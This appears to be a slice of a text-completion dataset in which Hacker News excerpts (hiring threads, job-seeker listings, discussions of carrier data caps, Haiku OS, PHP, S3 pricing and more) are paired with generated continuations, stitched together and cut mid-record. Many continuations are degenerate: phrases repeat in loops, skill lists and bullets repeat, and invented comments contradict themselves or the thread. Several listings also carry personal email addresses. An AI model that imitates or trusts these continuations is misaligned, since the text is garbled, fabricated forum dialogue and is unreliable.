TMobile seems to be quite profitable.\n\n[http://www.wsj.com/articles/t-mobile-raises-subscriber-\ngrowt...](http://www.wsj.com/articles/t-mobile-raises-subscriber-growth-\noutlook-1438257047)\n\n------\njoezydeco\nWait - so TMO monitors your data usage and throttles you down when you exceed\nyour cap on a _phone_, but doesn't do this for hotspots and trusts the\nhotspot to police the data cap?\n\n~~~\nStavrosK\nNo, I think the phone sends a certain bit to their servers when you're\ntethering, to say \"this data is from tethering\", and they only allow a certain\ncap for that. These \"omg hackers\" found a way to prevent that bit from being\nsent, forcing the carrier to make good on their promise of \"unlimited data\",\nwhich the carrier doesn't want to do.\n\n~~~\nmmcclure\n> forcing the carrier to make good on their promise of \"unlimited data\"\n\nI'm on"} +{"output_text": "CP, AWS, Docker, Kubernetes, Terraform, Ansible,\nKubernetes, Terraform, Docker, AWS, Azure, GCP, Kubernetes, Terraform,\nKubernetes, Terraform, Docker, AWS, Azure, GCP, Kubernetes, Terraform,\nDocker, AWS, Azure, GCP, Kubernetes, Terraform, Docker, AWS, Azure, GCP,\nKubernetes, Terraform, Docker, AWS, Azure", "input_text": "\n\nWilling to relocate: No, but open to travel\n\nTechnologies: Python, Django, Celery, Scrapy, ReactJS, React Native, RabbitMQ,\nDocker, RESTFful APIs, AWS, Postgres, GraphQL, C#,.NET\n\nR\u00e9sum\u00e9/CV:\n[https://stackoverflow.com/cv/varunpsr](https://stackoverflow.com/cv/varunpsr)\n\nEmail: varun.rathore@outlook.com\n\n------\nJd\n\n Location: Moscow\n \n Remote: Yes \n \n Willing to relocate: Yes\n \n Technologies: Javascript, Solidity, Ruby, Enterprise Stack, Haskell, Java\n \n R\u00e9sum\u00e9/CV: https://github.com/fractastical/distributed-governance/blob/master/my_experiments.md\n \n Email: joel@swarm.com\n\n------\ngerosan\nLocation: Ohio (but don't want to stay here)\n\nRemote: Not required\n\nWilling to relocate: Prefer to (Western Region of US)\n\nTechnologies: Swift, Java, Kotlin, ARKit, ARCore\n\nR\u00e9sum\u00e9/CV: Ask me on LinkedIn\n\nEmail: Connect with me on LinkedIn\n\n[https://www.linkedin.com/in/sorianog/](https://www.linkedin.com/in/sorianog/)\n\n------\nfishbone\nLocation: South East US\n\nRemote: yes\n\nWilling to relocate: no\n\nTechnologies: 15 years of full stack web development - Go, Node, C#, Vue,\nReact, SQL, Azure, G"} +{"output_text": ")\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I don\u2019t see any mention of\nHaikuOS on the website.\n\nI\u2019m not sure if I\u2019m missing something, but I don\u2019t see any mention of HaikuOS\non the website.\n\n~~~\ntossaway44\nHaikuOS is a separate project, and is not yet ready for release.\n\n------\ntoss", "input_text": "arm/](https://download.haiku-\nos.org/nightly-images/arm/)\n\nIt's even buggier than the x86 version though, and you don't have any software\nbeyond what you compile for it yourself.\n\n~~~\ntossaway44\nI thought the ARM version didn\u2019t have a GUI yet...\n\n~~~\ndeaddodo\nThe Application Server is in progress, but it builds. The problem is that on\nx86, you can fall back on the BIOS w/ VESA to display video; while ARM lacks\nthat functionality. If you can find/build a video driver it should Just\nWork(tm).\n\nYou can see the current video drivers here:\n\n[https://github.com/haiku/haiku/blob/master/build/jam/images/...](https://github.com/haiku/haiku/blob/master/build/jam/images/definitions/regular#L205)\n\nWhich are all x86/amd64-based. The RPi would actually be relatively simple to\nthrow a framebuffer video driver together for, though:\n\n* [https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/s...](https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/screen01.html)\n\n* [https://github.com/raspberrypi/firmware/wiki](https://github.com/raspberrypi/firmware/wiki)\n\n* [https://github.com/dwelch67/raspberrypi/tree/master/video01](https://github.com/dwelch67/raspberrypi/tree/master/video01"} +{"output_text": " better than\ntheirs?\n\n~~~\njessaustin\n_Doesn 't that mean less hours working?_\n\nYes, but that's not the point. The point is that the workday is not a\nsacrament. It's a tool. It's a means to an end. It's not a goal in itself.\n\n~~~\nfrankbreetz\nI agree with you, but I think the point is that the workday is a", "input_text": " white collar workers in the Netherlands. Four days\nis more than enough for me.\n\n------\nmadspindel\n\"In thirty years America will be a post-industrial society with a per capita\nincome of $ 7,500. There will be only four work days a week of seven hours per\nday. The year will be comprised of 39 work weeks and 13 weeks of vacation.\nWith weekends and holidays this makes 147 work days a year and 218 free days.\nAll this within a single generation.\"\n\nFrom The American Challenge by Jean Jacques Servan-Schreiber published in\n1967. Too bad this will never happen since most managers are workaholics.\n\n~~~\nbenjohnson\nI'm my estimation - you can almost live this way if you limit your\nexpectations to someone from 1967 - limited food choices, single car, small\nhome, frugal car-based vacations and heathy living.\n\n~~~\nesturk\nFunny you added 'healthy living' at the end. It makes you wonder why people\nwould live beyond their means to be unhealthy.\n\n~~~\nsokoloff\nBecause people are terrible at accounting for the future. Shows up in diet,\nexercise, personal finance, and probably a bunch of other places.\n\n------\nfrankbreetz\nThere us nothing to disagree with here, but I feel like America is so far to\nthe right that an idea like this will be answered with \"people are so lazy\"\nand \"you signed a contract\" or something similarly ridiculous. My response to\nall this is wasn't the goal of our forefathers to give us a better life?\nDoesn't that mean less hours working? Even if my parents grew up in the best\neconomic period of the past thousand years, shouldn't my life be"} +{"output_text": " bury it.\n\n~~~\npolemic\nI'm not sure I follow.\n\nThe post was flagged and then unkilled.\n\nThe post was then buried.\n\nThe post was then unkilled.\n\nThe post was then buried.\n\nThe post was then unkilled.\n\nThe post was then buried.\n\nThe post was then unkilled.\n\nThe post was then buried.\n\nThe post was then unk", "input_text": ". We are not a lot\ninterested in SMS/USSD since it's really under control of operators, but would\nlike to invest more in exchanging data using 3G/4G networks.\n\nIt's really a good idea to trigger rules when an app is not used after a\ncertain period of time. Will think on it :)\n\n~~~\nParseco\n(thumbsup!) :)\n\n~~~\nonur\nIt would be interesting to play with your API since Countly team is composed\nof all telco professionals :)\n\n------\nkenrikm\nIt's cool, I'm interested in trying it out.\n\nRethink the use of Lobster as your logo/text font a bunch of different\ncompanies Including Codecademy and HireAry use it. So it's Generic at best.\n\n~~~\nonur\nThanks for pointing that out. I'm pretty sure our co-founder/designer Osman\nknows about this but anyways being unique is always better :)\n\n \n\nAbusing Contributors is not OK - joeyh\nhttp://www.curiousefficiency.org/\n\n======\npolemic\nLet's add: flag killing [the original, multi-upvoted front page] links to\narticulate and well reasoned pieces about why abusing contributors is not OK,\nis not OK.\n\n~~~\ndang\nWe've unkilled that post and are burying this one as a duplicate.\n\n~~~\nmjg59\nYou've unkilled that post, but left it buried on the third page.\n\n~~~\ndang\nYes, what we usually do when there is a tug of war between upvotes and flags\nis prevent the flags from killing the post so active discussion can continue,\nbut not"} +{"output_text": "times?\n\n~~~\njoshwa\nI think you're looking at the wrong pricing model.\n\nThe new pricing model is for \"storage\" (which is really just a fancy way of\nsaying \"bandwidth\") and \"transfer\" (which is really just a fancy way of\nsaying \"bandwidth\").\n\nThe new pricing model is for \"storage\" (which is really just a fancy way of\nsaying \"bandwidth\") and \"transfer\" (", "input_text": " here, we recommend printing them out, sitting by\na fireplace, and reading them in Morgan Freeman\u2019s voice: \"\n\nLike a twinkie, like a twinkie.\n\n------\nTichy\nOk, nice enough, but why would I mail my private thoughts to the cloud?\nWriting a small script that mails a random email by me to myself should be\neasy enough.\n\n------\nyeti\nWell done, great concept and already I see a practical use for it in my life\n(tracking a new fitness program)\n\nThanks guys\n\n------\nchamza\nLove the idea. Good work fellas\n\n------\nfaramarz\nVery cool. Does that mean YC has a vested interest in your side project?\n\n------\nsomeone_here\nMay I ask how this is different from, say, private wordpress.com blogs?\n\n~~~\npclark\nI think they clearly articulate this on the home page\n\n \nAmazon S3: New pricing model - unfoldedorigami\nhttp://blogs.smugmug.com/don/2007/05/01/amazon-s3-new-pricing-model/\n======\nvlad\nAdditional info (from the e-mail I received) in case anybody cares:\n\n\"P.S. Please note that the reduced bandwidth rates shown above will also take\neffect for Amazon EC2 and Amazon SQS. The bandwidth tier in which you will be\ncharged each month will be calculated based on your use of each of these\nservices separately, and could therefore vary across services.\"\n\n------\nyaacovtp\nCan anyone tell me what bandwidth costs a month once you need over a terabyte\na month? How would you host a 5-10 mb movie that may be viewed millions of\n"} +{"output_text": " HN.)\n\nIf you're interested, email me at kristopolous@waivecar.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a Senior Software Engineer to join our\nteam.\n\nWe are looking for someone who is passionate about building great software and\nis excited to work on a product that millions of people use every day.\n\n", "input_text": " enable all software\ndevelopers to build sophisticated AIs without having AI expertise. We're\nheadquartered in Berkeley, CA, but are currently hiring for the position of\nBackend Engineer out of our Seattle office.\n\nOur Backend Team has a need for an engineer with strong programming skills and\nthe ability to write quality production code. Responsibilities in this\nposition will include:\n\n* Design and implement scalable, highly available software services in Python.\n\n* Build and improve infrastructure automation.\n\n* Monitor, diagnose and fix production issues.\n\nOur ideal candidate has the following:\n\n* At least 3-5 years of industry experience as a Software Engineer or similar.\n\n* Familiarity with Docker or other containerization technologies.\n\n* Proficiency with a general purpose language like Python or C++.\n\n* Experience working with Linux and cloud platforms (AWS, etc).\n\nIf interested, send a resume to jobs@bons.ai.\n\n------\nkristopolous\nWaiveCar | Software Engineer | Santa Monica, Los Angeles, California | ONSITE\n| [http://waivecar.com](http://waivecar.com)\n\nWaiveCar is a free-to-use advertising based on-demand all-electric car-rental\nservice. We're looking for a senior engineer with experience in small-shop\nstartups. The tech is javascript/mobile app/etc...\n\nWe are expanding via a partnership with Hyundai to multiple cities soon. If\nyou want to be in early where the action is, this is the juice. We've got\ncompetitive salary/options/benefits, all the good stuff. It's fully funded and\ncash flow positive. (I'm the guy who wrote the filtering script that's\nmentioned every month in"} +{"output_text": "'s not a GitHub issue, it's a Github issue. I'm not sure what you mean by\n\"how well you computers\" here.\n\n------\njoshu\nI think the 500 line rule is a good idea, but I think it's a bit too\nrestrictive.\n\nI've been writing code for a long time, and I've found that I can get a lot of\nwork done in 500 lines.\n\nI think the 500 line rule", "input_text": "ius\nOfftopic. Why, in github, is the README always below the repository files, if\nthe first thing you want to read about a project is the README?\n\nEdit: Could we take the convention on HN to always link to the README in a\ngithub repo? In this case that would be:\n\n[https://github.com/aosabook/500lines/blob/master/README.md](https://github.com/aosabook/500lines/blob/master/README.md)\n\n~~~\nmarssaxman\nI considered Github links to be essentially content-free noise for several\nyears because I did not know about their \"README.md\" convention. I think that\npeople who live and breathe github probably don't realize how confusing their\ninterface can be to a newcomer.\n\n~~~\nmjrbrennan\nYou didn't think to just scroll down?\n\n~~~\nmarssaxman\nI didn't know to scroll to the bottom, as I had never used github and was\nunfamiliar with its interface. I thought it was basically just a prettier\nversion of the classic auto-generated \"index\" page for a directory, so it\ndidn't occur to me that there would be more to it than the file list if I\nscrolled down.\n\n~~~\npc86\n> _I didn 't know to scroll to the bottom_\n\nIf only there was some sort of bar that could indicate your relative position\non the page. Maybe in the same spot on all websites to make it easy to see.\nMaybe even part of the browser!\n\nIn all seriousness this seems much less a GitHub issue and much more about how\nwell you computers.\n\n~~~\nmarssaxman\nIt"} +{"output_text": "act with external APIs, especially Twitter, Facebook, and Instagram. \\-\nDeveloping software features that leverage external APIs, especially Twitter,\nFacebook, and Instagram. \\- Developing software features that leverage\nexternal APIs, especially Twitter, Facebook, and Instagram. \\- Developing\nsoftware features that leverage external APIs, especially Twitter, Facebook,\nand Instagram. \\- Developing software features that leverage external APIs,\nespecially Twitter, Facebook, and Instagram. \\- Developing software features\nthat leverage external", "input_text": " | Software Engineer | Mumbai | ONSITE, REMOTE, INTERNS |\nwww.smokescreen.io\n\nSmokescreen brings military deception tactics to cybersecurity. We hire\nrockstar software engineers and then get out of their way.\n\n \n \n - Python, Node.js, GoLang, C#\n - AngularJS, ReactJS\n - UNIX (BSD experience is a plus)\n \n\nApply here:\n[https://www.smokescreen.io/careers/](https://www.smokescreen.io/careers/)\n\n------\nRossSheingold\nCycle | Los Angeles, CA | Onsite | Full-time | Full-stack software engineer |\nCompetitive salary, unlimited PTO, 401(k)|\n[http://cycle.media](http://cycle.media)\n\nCycle seeks a Full-stack software engineer to own the entire software\ndevelopment and deployment process. You should have a passion for all things\nsocial and extensive knowledge in leveraging external APIs. You will\ncollaborate with the Chief Innovation Officer to develop and implement an\nefficient internal database. A successful candidate will have in-depth\nunderstanding of and experience with:\n\n\\- Developing software features using object-oriented programming in Ruby, and\nthe popular web framework Ruby on Rails. \\- Developing software features using\ntemplating languages ERB and Mustache. \\- Developing software features using\nrelational databases (specifically Postgres), as well as database maintenance\n& migrations. \\- Developing software features using various data stores,\nespecially Redis, and usage patterns relevant to job queues. \\- Developing\nsoftware features leaveraging threaded environments, especially with relation\nto Sidekiq and background job processors. \\- Developing software features that\ninter"} +{"output_text": "health.com/best-digital-health-\ncompanies/](https://rockhealth.com/best-digital-health-companies/)\n\n[2] [https://www.glassdoor.com/Award/Best-Places-to-Work-\nElectric...](https://www.glassdoor.com/Award/Best-Places-to-Work-\nElectric/Grand-Rounds-Electric-Ltd-EI_", "input_text": "205540-android-developer)\n\n------\nhackernews\nGrand Rounds | Sr. Software Engineer | San Francisco, CA USA |\n[https://www.grandrounds.com](https://www.grandrounds.com)\n\nGrand Rounds was recently named Best Digital Health Company to Work For[1] by\nRock Health, and is currently recognized by Glassdoor's as the #2 Best Places\nto Work[2].\n\nWe are also represented on Wealthfront's Career Launching Companies[3] for the\nsecond year in a row and are looking for talented Software Engineers to join\nour mission.\n\nYou'll be embedded in an agile team tasked with business problems to solve and\na solid, well built platform to leverage. We believe in empowerment through\nautonomy. We employ a services oriented platform[4] primarily utilizing Rails\non the back-end and React on the front-end. Every new Engineer delivers code\nfrom day one.\n\nWe're specifically looking for talented Engineers with strong architectural\npattern knowledge (Fowler is your preferred bedtime reading). You're familiar\nwith the concerns of MVC, perhaps with the Redux pattern. You've used Backbone\nto create front end frameworks, can talk web standards and best practices. You\nknow why accessibility is important, and have a desire to learn about building\nsecure applications. You can debate for hours on microservice vs monolithic\napplications and can sniff out code smell and recognize anti-patterns from a\nmile away.\n\nHere at Grand Rounds we are literally saving lives through our technology and\nservices, it's rewarding work. Email me at brett@grandrounds (mention\nHackerNews) or visit our website[5] to view and apply to open opportunities.\n\n[1] [https://rock"} +{"output_text": " security concerns\n> that require Administrators have the ability to immediately lock users out\n> of the system or be able to audit recent activity. AD/LDAP facilitates this.\n\nI don't understand why you're using the word \"immediately\" here. If you're\nusing AD/LDAP, you can lock a user out of the system, or audit their activity\nfor a period of time.\n\n> Standardization of processes and training can reduce training time\n>", "input_text": " with them. You either figure\nout how to use the computer they give you, or you don't, in which case why\nshould they employ you? Computers are a basic skill.\n\n~~~\ndrankula3\n> Why do you need Active Directory or LDAP?\n\nPrimarily authentication, authorization, and accounting[0]. Setting up a new\nuser account on every single computer that an employee may at some point sit\nat gets very expensive. Many businesses (if not immediately then eventually)\nhave security concerns that require Administrators have the ability to\nimmediately lock users out of the system or be able to audit recent activity.\nAD/LDAP facilitates this. It can also automate standard settings like network\ndrives, screen lockout settings, homepages, and all sorts of other settings.\n\n> You either figure out how to use the computer they give you, or you don't\n\nStandardization of processes and training can reduce training time\nconsiderably. For industries with high turnover, this can make a difference.\nYou've gotta remember, not everyone is a knowledge worker. Tons of people are\nmore like cogs in the machine of the company, which isn't necessarily a bad\nthing.\n\n[0]\n[https://www.techopedia.com/definition/24130/authentication-a...](https://www.techopedia.com/definition/24130/authentication-\nauthorization-and-accounting-aaa)\n\n~~~\nninkendo\n> Primarily authentication, authorization, and accounting[0]. Setting up a new\n> user account on every single computer that an employee may at some point sit\n> at gets very expensive\n\nWhy are people using more than one machine?\n\n> Many businesses (if not immediately then eventually) have"} +{"output_text": " infrastructure to a new platform\nwould be a large expense is a bit of a stretch. Facebook is a large company\nand has a lot of money to throw around.\n\n~~~\nsciurus\nI'm not saying that it would be a large expense. I'm saying that it's a\nsignificant expense.\n\n------\njrockway\nI think the author is missing the point. The problem is that PHP is a\nscripting language, and it's not a good one", "input_text": " the\nface by its continued usage of PHP.\n\nI think also that there is a difference between writing a new backend for\nsomething that is solid and in place and just throwing the whole product out\nthe window and re-imagining it from the ground up, and I think the latter is\nthe kind of rewrite that should be avoided and considered dangerous. When you\ncould throw 4-5 guys on a real C# or C++ rewrite and tell them the final\nproduct has to behave identically to the PHP version, you have a much less\nvolatile situation.\n\nAs for the PHP workflow, I agree it's nice not to have an intermediate step,\nbut that intermediate step can usually be circumvented pretty rapidly by\nthrowing a script or two (or just flipping a config option) into your\ndevelopment environment.\n\n~~~\nericd\nI think developing in PHP and compiling to C++/binary probably results in much\nhigher developer productivity than developing in C++/C# directly. Developer\nsalaries are undoubtedly their largest expense, by far, dwarfing those\nsalaries of the people who make PHP performant and 1.5 gig binary updates\nsane.\n\n~~~\nsciurus\nI expect that running their datacenters is a larger expense than developer\nsalaries.\n\n\"In 2011, $606 million was allocated towards total capital investment in data\ncenter infrastructure by Facebook, which includes the cost of servers,\nnetworking equipment, construction, and storage.\" -\n[http://www.colocationamerica.com/blog/facebook-data-\ncenter-i...](http://www.colocationamerica.com/blog/facebook-data-center-\ninfrastructure-expenditures-a-quick-analysis.htm)\n\n~~~\nevgen\nThe assumption that migrating the entire"} +{"output_text": "them.\n\n------\njameslk\nI'm not sure if this is a good idea. I'm not a front-end developer, but I\nthink it's a bad idea to have a library that's so large. I think it's better\nto have a library that's small and well-documented.\n\n~~~\ndreyfiz\nI agree. I think it's a bad idea to have a library that's so large. I think\nit's better", "input_text": " are many developers\nwho are really bad at styling. They don't have a good eye for design and\nthey're trying to build a usable product, or they have an internal need, or\nwant to learn. Libraries such as these have many purposes, even if you don't\nlike them.\n\n~~~\ntomelders\nBut people will be forced to use it. That's my complaint.\n\n------\naphextron\n32,000+ stars is insane, how have I not heard of this? Does anyone have\nproduction experience with it?\n\n------\nnkkollaw\nIt looks great.\n\nHowever, I've used it in the past and the CSS size is _HUGE_, with no way to\nreduce it. We're talking about > 500KB of CSS (in my case, at least). The\nJavaScript is extremely bloated as well.\n\nHonestly, being that heavy I wonder how anyone can use it. If your site is to\nbe viewed by mobile users, adding 500KB just to style a few elements is\nunacceptable.\n\nI'd much rather go with Bootstrap. It has the added benefit of having the\nmajority of front-end devs know it, and you can buy or use a theme for free\nand make it look great.\n\n~~~\ndreyfiz\nA custom build with only the components you're using cuts the CSS size\ndramatically. You also get to specify your supported browsers, which can cut\ndown the size as well. Finally, you don't have to use their javascript, and\nnot every component requires it.\n\n~~~\nnkkollaw\nSomehow we were unable to reduce the file size to a sane level and we switch\nto another framework. I guess we needed some components and we had to load\n"} +{"output_text": " onto others.\n\nI think the problem is that I'm not very good at reading people. I'm not sure\nif it's because I'm not good at reading people or if it's because I'm not\ngood at reading myself.\n\n~~~\nCrito\nI think it is a combination of both. I am not good at reading people, but I am\nalso not good at reading myself.\n\n------\njoshu\nI think the problem is that you", "input_text": " will and claim \"I was only being ironic\" with prior\nclaims.\n\n~~~\nCrito\n> _\" I can change my argument at will and claim \"I was only being ironic\" with\n> prior claims.\"_\n\nThis is solved by explicitly stating when you are being sarcastic, _or_\nfollowing up the sarcastic paragraph with a paragraph that non-sarcastically\nexplains your position.\n\n> _\" The problem with sarcasm is that, when I use it, I'm not putting my own\n> opinion out there to be critiqued, I'm only attacking the other guy's.\"_\n\nI don't think that is actually problematic. There are certain issues that I do\nnot have strong feelings on one way or the other, so I consider my opinion on\nthose issues to be of relatively little consequence. Nevertheless, I am still\ncapable of analyzing and critiquing the merit of arguments made by others.\n\nFor instance, if the topic is tidal power stations being placed offshore of\nexpensive private beach property _(a topic that I do not care about one way or\nthe other)_ and somebody objects that the view from those beaches will be\ndestroyed, I might sarcastically quip that all transmission lines near golf\ncourses and country clubs should be razed, because rich people should never be\nforced to gaze upon infrastructure. I would give this sarcastic quip because,\nalthough I don't really give a shit about tidal power, I can still recognize a\nridiculous argument when I see one.\n\n------\ntikhonj\nAh, confidence. I tend to do the opposite: I hedge too much. If I don't watch\nmyself, I'd probably say, \"I think 3 is a prime number...\". Then again, I\n_have_ been guilty of projecting confidence"} +{"output_text": "auung.\n\n~~~\nerpellan\nI'm not sure I follow.\n\nI don't think that's a particularly good argument.\n\nI think it's a good argument that HRC is a bad candidate.\n\nI think it's a good argument that HRC is a bad candidate because she's a bad\ncandidate.\n\nI think it's a good argument that HRC is a bad candidate because she's a bad\ncandidate and she's", "input_text": " her use of a private\nemail server.\n\nFact via \"Correction\": Republicans have instigated an investigation into\nHillary Clinton's use of a private email server for political gain.\n\nSee what I'm alluding to? If not, then okay, but I don't think I can get much\nmore granular.\n\n~~~\ntamana\nCan you give a non-hypothetical example?\n\n~~~\n6stringmerc\nNot at this time; apparently the operation is just getting started according\nto this documentation.\n\nIf the group does their job well, then - partially kidding here - there should\nbe a representative coming by relatively soon to correct my perception of what\nthe group is motivated to do and how it looks in real life.\n\nAs in, the burden of transparency isn't on my suspicion, but rather in their\nactions. To correct my suspicion, they should have no trouble showing all the\ncases of non-propaganda-resembling \"corrections\" they've performed. Then\nthere'd be no reason for a person like me to suspect gamesmanship in the\nendeavor.\n\n------\nerpellan\nI must now assume that any comment on this page of the'so what?' or 'everyone\ndoes it' variety or any downplaying whatsoever is in fact a paid shill. That\nincludes any disagreements with this statement :)\n\n~~~\nsuperobserver\nYou might not be far from the mark, actually. The funny thing about at least\none Hillary supporter that I know is how vocal they are about all other\npoliticians being just as bad as, if not worse than, HRC, and that ergo, HRC\nis no worse than anyone else, and ergo HRC is as equally viable as anyone\nelse. It's quite a distorted Weltansh"} +{"output_text": " about this, but I think I'll just leave\nit here.\n\nI think the author is missing the point. The point is that Android is open\nbecause it is open source.\n\nThe author is saying that Android is open because it is open source.\n\nThe author is saying that Android is open because it is open source.\n\nThe author is saying that Android is open because it is open source.\n\nThe author is saying that Android is open because it is", "input_text": "say, someone who just has to have their iPhone.\n\n~~~\nwvenable\nYou get that same benefit with Windows Mobile or Blackberry, yet nobody would\nclaim they are open.\n\n------\nugh\nWhy not buy a unlocked phone? Won\u2019t HTC or Samsung sell them to you?\n\n~~~\nTichy\nWhere, how?\n\n~~~\nuggedal\nHere in Norway, and probably in most other parts of Europe, you can buy\nunlocked version of all phones, be it HTC, Samsung, iPhone (sold unlocked\ndirectly from ).\n\n------\nlutorm\nAll of this only applies if you buy a subsidized phone from the carriers.\nUntil the carriers can legally forbid non-branded phones from being on the\nnetwork, they only have the power that their customers, who apparently like\ngiving up their freedom of choice for a low upfront phone price, voluntarily\ngive them.\n\n------\nbrudgers\nWhat Siegler does is pretend that when people say \"Android is open\" they mean\n\"Android isn't repackaged by companies for their own purposes.\"\n\nOf course people don't, but it's a handy strawman.\n\n\"Android is open\" is used to express the idea that there is competition\nbetween Android products (consumer view).\n\n\"Android is open\" is also used to express the idea that a companies are free\nto enter or exit the marketplace without permission (developer view).\n\n\"Android is open\" is also used to express the idea that it isn't \"Apple's\nGated Community\" (brand differentiation).\n\nThis is probably the most important, and it's right out of Apple's playbook.\n\n------\nlenni\nI was just about to write a blog post"} +{"output_text": "ay\nI'm not sure if this is a good idea. I'm not a big fan of the idea of\nprogramming with blocks, but I'm not sure if this is a good idea.\n\n~~~\nmattnewton\nI think it's a good idea. I think it's a good idea because it's a good idea\nto make programming more accessible to people who are not programmers.\n\n------\nmattnewton\nI think this is a good idea.", "input_text": " older \"block-based\" electronics kit projects.\n\n~~~\nMichie\nI agree. I thought it was another version of\n[http://littlebits.cc/](http://littlebits.cc/)\n\nBut upon exploring some works, it seems like writing code but with a tangible\nobject. The User Interface are like the usual toy blocks kids play and they\ncan write code with it.\n\nInteresting move by Google on this.\n\n------\nIIAOPSW\nWhen I was a kid we had \"logiblocs\".\n\nBut I guess I was an odd kid and no one else had that experience so Google\ngets to invent it again and pretend to innovate.\n\n[http://www.logiblocs.com/](http://www.logiblocs.com/)\n\n~~~\npacketslave\nThis seems unnecessarily harsh (\"pretend to innovate\"). The team called out a\nbunch of prior art and inspiration here:\n[https://projectbloks.withgoogle.com/research](https://projectbloks.withgoogle.com/research)\nand seem perfectly happy to acknowledge they're not the first to play in this\nspace.\n\n------\nImpossible\nThis is really cool. I want to build a system like this that works on VR\\AR\nplatforms, to get around limitations of programming in VR like text input\nbeing a pain, hard to read text, etc. It's also possible to get around some of\nthe limitations of actual physical hardware like costs, being able to code\nabstractions (a complex function can shrink to a single block, you could build\ncustom interfaces and types without making new custom hardware, etc). Does\nanyone know of any other good tangible\\physical programming resources out\nthere?\n\n------\nnikol"} +{"output_text": "for money.\n\n------\njasonkester\nI've been using \"we\" for a while now. It's a great way to get people to\nunderstand that you're not just a single person, but a team.\n\n------\njasonkester\nI've been using \"we\" for a while now. It's a great way to get people to\nunderstand that you're not just a single person, but a team.\n\n------\njasonkes", "input_text": " like down-to-earthness can go a long ways too...\n\n~~~\nSemiapies\n\"Bigger images\" go both ways - you can find yourself held to standards and\nprey to expectations that you don't want.\n\nI've seen this a lot in hobby industries - guys working out of a tiny rented\nspace in a office park find themselves wondering why their customers think\nthey're a big company with a lot of money. This is inevitably due to their\ntrying to look \"professional\", which tends to be a mingling of actual\nprofessionalism and aping the promotional styles of larger companies.\n\n------\nzalew\nIf you use 'we', better have a good answer when someone asks who else works\nwith you or you'll seem douchy. I don't see anything wrong in using 'we' if\nyou have coworkers, even if they're remote or work occasionally on demand. If\nyou're completely on your own, use 'I'.\n\nHowever, I've heard anectodes about one-man/woman businesses where a person\nfakes there's more people in the office. Seems dumb but sometimes it's needed\nand they had success with it, I don't think it suits your case though :)\n\n------\ngintas\nI try to use \"I\" whenever possible. It makes the message more personal and\ninvites comments and replies. \"We\" is best when talking about collective\ndecisions.\n\n------\nalexophile\nIt depends a lot on the perception you're trying to create. I can't find it\nnow, but there was an article a while back that spoke to the benefits of\nhaving a dedicated identity for your billing department. In short, it helps to\nseparate the you that negotiates contracts and produces from the you that asks\n"} +{"output_text": "ing and optimization\n\n* High-performance computing\n\n* Data visualization\n\n* Data science\n\n* Trading systems\n\n* Quantitative research\n\n* Quantitative trading\n\n* Quantitative risk management\n\n* Quantitative trading infrastructure\n\n* Quantitative research infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative risk management infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative research infrastructure\n\n* Quantitative trading infrastructure\n\n* Quantitative risk management infrastructure\n\n* Quantitative trading infrastructure\n\n*", "input_text": "-\nios](http://engineering.gopangea.com/join/lead-engineer-ios)\n\n\\- Software Engineer (Platform)\n[http://engineering.gopangea.com/join/software-engineer-\nplatf...](http://engineering.gopangea.com/join/software-engineer-platform)\n\nYou can email me directly with a resume at bardia --at-- gopangea.com\n\nYou can learn more about the engineering team at: \\-\n[http://engineering.gopangea.com](http://engineering.gopangea.com) \\-\n[https://github.com/gopangea](https://github.com/gopangea)\n\n------\ncubistml\nCubist Systematic Strategies | Quantitative Developer \u2013 Systematic Options |\nNew York | Onsite | Full Time\n\nCubist Systematic Strategies is the systematic investing business of Point72\nAsset Management. We deploy systematic, computer-driven trading strategies\nacross multiple liquid asset classes.\n\nWe\u2019re looking for a lead developer to join a new team focused on short term\nsystematic futures, FX, and options strategies. You will drive the design and\ndevelopment of components of a research, simulation, and trading system,\nincluding:\n\n* Option pricing and greek computation\n\n* Portfolio construction and optimization\n\n* Position, risk, and P&L services\n\n* Compute cluster, high throughput research infrastructure\n\n* Monitors, dashboards\n\nYou should have experience working with:\n\n* C++/Java and Python\n\n* Systems for real-time option pricing, risk, and execution\n\n* Fully automated option delta hedging strategies\n\n* Real-time forecast"} +{"output_text": "iley.com/doi/10.1002/pro.2339/full)\n\n~~~\nfrisco\nThanks for the thoughtful comment!\n\nI think you're right that the biggest pain point is the intervention-heavy\nprocess. We're working on a few different ways to make that easier.\n\nOne is to make it easier to get data out of the system. We're working on\nsomething called the \"Data API\" that will allow you to get data out of", "input_text": " house. If I recall\ncorrectly, the cost per rxn goes down if you run more in parallel, because\nthey share the same instrument time.\n\nSetting up that reaction might take me ~0.5 hours base, and 0.05 hours for\neach subsequent reaction prepared in parallel.\n\nGrad students are cheap, but even valuing my skilled labor at minimum wage,\nit's cheaper to use Transcriptic.\n\n------\nfrisco\nHey, I'm the founder of Transcriptic. We're pretty excited about this. Happy\nto answer any questions!\n\n~~~\ndnautics\nThe biggest pain point I see in this market is that experimental\nparallelization is an intervention-heavy process. Ignoring the equipment\ncosts, it's also capital-intensive (unlike say deploying to AWS). And finally,\nobtaining usable data still requires experiential knowledge. There's something\nabout _knowing and feeling the data_ (yeah, that's awfully fuzzy) that is\nstill an important part about obtaining good results [0]. So for any biologic\nprocess that is parallelizing the operators are going to want to own the\nmachines anyways.\n\nIn order to capture a real market, you're going to have to figure out a way to\noffer parallelization services - be given a non-parallel experiment with\ncertain parameters and scale it up on behalf of the users. So, the user has an\nexperimental plan and just 'hands it over' to transcriptic. I still worry\nabout the experiential knowledge part, putting the experimenter one step away\nfrom the experiment is potentially counterproductive.\n\n[0][http://onlinelibrary.wiley.com/doi/10.1002/pro.2339/full](http://onlinelibrary.w"} +{"output_text": "\n\n~~~\njessaustin\n_Wait, how is a flat rate internet service using WiFi worse than allowing\nairlines to implement some sort of LTE antenna booster on every plane so I have\nthe opportunity to have no idea what I'm about to pay to use my phone?_\n\nI don't know about you, but I don't want to pay for a service that I can't\ncontrol. I don't want to pay for a service that I can't even see", "input_text": "sure about that any more. I would like to see his response.\n\n------\nucha\nI'm wondering why it is that two hit pieces came out at the same time [1]? Is\nit just a coincidence?\n\n[https://www.theverge.com/2020/2/11/21131848/lambda-school-\nco...](https://www.theverge.com/2020/2/11/21131848/lambda-school-coding-\nbootcamp-isa-tuition-cost-free)\n\n~~~\nazangru\nI've seen discontent with Lambda brewing on twitters for quite some 